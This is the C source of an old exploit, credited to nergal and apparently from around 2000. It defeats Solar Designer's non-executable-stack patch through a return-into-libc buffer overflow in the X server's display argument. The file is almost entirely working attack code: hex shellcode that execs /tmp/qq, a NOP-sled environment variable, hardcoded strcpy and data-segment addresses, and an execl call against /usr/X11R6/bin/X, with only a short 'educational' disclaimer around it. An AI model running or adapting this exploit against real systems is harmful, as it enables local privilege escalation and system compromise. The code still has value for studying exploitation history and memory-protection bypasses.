/* ** Exploit no 1 for Solar Designer patch ** by nergal@icm.edu.pl ** This code is meant for educational and entertaining purposes only. ** You can distribute it freely provided credits are given. ** */ #include /* change the following 0 if the code doesn't work */ #define OFFSET 0 #define BUFFER_SIZE 370 #define EGG_SIZE 2048 #define NOP 0x90 /* any address in data segment */ #define DEST 0x08223038 /* strcpy linkage table entry */ #define STRCPY 0x08066a18 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/tmp/qq"; char buf[BUFFER_SIZE]; char egg[EGG_SIZE]; char pattern[16]; void main(int argc, char **argv) { /* try alignment in 3..18; three worked for me */ int i, align = 3; int src = (int) &src - OFFSET; /* formerly known as get_sp() :) */ if (argc == 2) align = atoi(argv[1]); *(int *) pattern = STRCPY; *(int *) (pattern + 4) = DEST; *(int *) (pattern + 8) = DEST; *(int *) (pattern + 12) = src; for (i = 0; i <= 15; i++) if (pattern[i] == 0) { printf("zero in pattern (%i)\n", i); exit(1); } memset(buf, ' ', BUFFER_SIZE); buf[BUFFER_SIZE - 1] = 0; buf[0] = ':'; buf[1] = '9'; for (i = align; i < BUFFER_SIZE - 16; i += 16) memcpy(buf + i, pattern, 16); memset(egg, NOP, EGG_SIZE); strcpy(egg + EGG_SIZE - strlen(shellcode) - 2, shellcode); strncpy(egg, "EGG=", 4); putenv(egg); execl("/usr/X11R6/bin/X", "X", buf, "-nolock", 0); perror("execl"); } /* www.hack.co.za [2000]*/